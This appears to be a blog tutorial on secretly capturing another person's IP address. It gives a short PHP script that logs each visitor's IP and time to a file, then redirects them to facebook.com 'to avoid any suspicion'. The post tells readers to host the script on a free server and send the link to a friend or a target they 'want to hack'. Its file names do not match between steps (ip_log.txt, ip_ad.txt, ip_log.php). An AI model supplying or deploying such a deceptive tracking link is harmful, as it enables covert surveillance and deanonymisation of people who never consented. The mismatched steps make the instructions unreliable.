Steps Involved:-
Preparation of Tools
1. Make a text file with any name. I am taking
ip_ad.txt
2. Open notepad and type in the code in PHP
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("ip_log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
header( 'Location: http://www.facebook.com' ) ;
?>
3. Save this file as ip.php.
4. Open a new account in X10Hosting (or any free
host that supports PHP).
5. Upload these two files ip.php and ip_ad.txt into
the root folder of your hosting account using the File
Manager .
6. You can rename the ip.php to any name of your
choice.
7. Set the permission to 777 on ip_ad.txt.
8. Now you are all set to find the IP address of your
friend or any remote computer of your choice.
All you have to do is send the link of ip.php to your friend or the
person with whom you are chatting or want to hack. Once the
person clicks on the link, his IP address is recorded in the file ip_ad.txt.
For better understanding let's take up the following example.
Suppose you open a new account in X10hosting.com with the
sub domain as XYZ, and then your IP Finder link would be
http://xyz.x10hosting.com/ip.php
You have to send the above link to you friend via email or while
chatting and ask him to visit that link. Once your friend clicks on
the link, his IP address will be recorded along with the Date and
Time in the ip_ad.txt file. After recording the IP address, the
script will redirect the person to facebook.com so as to avoid
any suspicion.
To find the recorded IP addresses check the logs using the
following link
http://xyz.x10hosting.com/ip_log.php
The sample log will be in the following format
102.54.124.7 Thursday 07th of June 2010 05:35:20
AM 159.145.14.37 Thursday 07th of May 2011 09:38:02
PM 13.192.44.37 Thursday 07th of May 2011 10:38:11
AM
NOTE: You will have to replace abc with your subdomain name.
(This article is only for educational purpose)

No comments:
Post a Comment